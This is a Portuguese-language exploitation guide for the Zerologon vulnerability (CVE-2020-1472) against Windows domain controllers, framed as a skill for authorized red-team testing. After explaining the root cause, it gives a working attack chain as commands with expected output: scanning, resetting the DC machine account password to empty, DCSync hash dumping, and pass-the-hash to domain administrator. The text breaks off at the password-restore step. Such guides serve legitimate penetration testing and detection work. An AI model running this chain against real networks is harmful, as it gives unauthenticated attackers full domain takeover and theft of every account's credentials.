Explorando a Vulnerabilidade Zerologon (CVE-2020-1472)

Visão Geral

Zerologon (CVE-2020-1472) é uma vulnerabilidade crítica de elevação de privilégio (CVSS 10.0) no Microsoft Netlogon Remote Protocol (MS-NRPC). A falha reside na implementação criptográfica do modo AES-CFB8, onde o vetor de inicialização (IV) é incorretamente definido como todos os zeros. Isso permite que um atacante não autenticado com acesso de rede a um controlador de domínio estabeleça uma sessão Netlogon e redefina a senha da conta de máquina do DC para vazia, alcançando o comprometimento total do domínio. A Microsoft corrigiu essa vulnerabilidade em agosto de 2020 (KB4571694).

Quando Usar

• Ao realizar testes de segurança autorizados que envolvam a exploração da vulnerabilidade zerologon cve 2020 1472
• Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
• Ao conduzir exercícios de equipe vermelha (red team) ou engajamentos de testes de penetração
• Ao construir capacidades de detecção com base no entendimento de técnicas ofensivas

Pré-requisitos

• Acesso de rede a um Controlador de Domínio (porta TCP 135 e portas RPC dinâmicas)
• Nenhuma autenticação necessária (exploit não autenticado)
• O DC alvo não deve ter o modo de aplicação de fevereiro de 2021 habilitado
• Toolkit Impacket instalado
• Autorização por escrito para o engajamento de equipe vermelha

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Mapeamento MITRE ATT&CK

Detalhes Técnicos da Vulnerabilidade

Causa Raiz

O protocolo de autenticação Netlogon usa criptografia AES-CFB8 com um desafio do cliente e um desafio do servidor. A vulnerabilidade existe porque:

1. O IV é codificado como 16 bytes de zeros
2. Quando o texto plano é 8 bytes de zeros, o AES-CFB8 produz um texto cifrado de todos os zeros com probabilidade de 1 em 256
3. Um atacante pode enviar aproximadamente 256 tentativas de autenticação (leva ~3 segundos) para ter sucesso

Sistemas Afetados

• Windows Server 2008 R2 até Windows Server 2019
• Todos os controladores de domínio executando o serviço Netlogon não corrigido
• Versões do Samba < 4.8 (se executando como AD DC)

Passo 1: Identificar Controladores de Domínio Vulneráveis

# Scan for domain controllers
nmap -p 135,139,389,445 -sV --script=ms-sql-info,smb-os-discovery 10.10.10.0/24

# Check if DC is vulnerable using zerologon checker
python3 zerologon_tester.py DC01 10.10.10.1

# Using CrackMapExec
crackmapexec smb 10.10.10.1 -M zerologon

Passo 2: Explorar Zerologon

# Using Impacket's CVE-2020-1472 exploit
# This sets the DC machine account password to empty
python3 cve_2020_1472.py DC01$ 10.10.10.1

# Expected output:
# Performing authentication attempts...
# =========================================
# NetrServerAuthenticate2 Result: 0 (success after ~256 attempts)
# NetrServerPasswordSet2 call was successful
# DC01$ machine account password set to empty string

Passo 3: DCSync com Senha Vazia

# Use the empty hash to perform DCSync
secretsdump.py -no-pass -just-dc corp.local/DC01\$@10.10.10.1

# Output includes all domain hashes:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# svc_sql:1103:aad3b435b51404eeaad3b435b51404ee:e4cba78b4c01d6e5c0e31ffff18e46ab:::

# Alternatively, dump specific accounts
secretsdump.py -no-pass corp.local/DC01\$@10.10.10.1 \
  -just-dc-user Administrator

Passo 4: Obter Acesso de Administrador de Domínio

# Pass the Hash with Administrator NTLM
psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

# Or use wmiexec for stealthier access
wmiexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
  corp.local/Administrator@10.10.10.1

Passo 5: Restaurar Senha da Conta de Máquina (CRÍTICO)

AVISO: Após explorar o Zerologon, a senha da conta de máquina do DC fica vazia, o que quebrará a replicação e os serviços do Active Directory. Você DEVE restaurá-la.

# Método 1: Usar a funcionalidade de restauração do exploit

…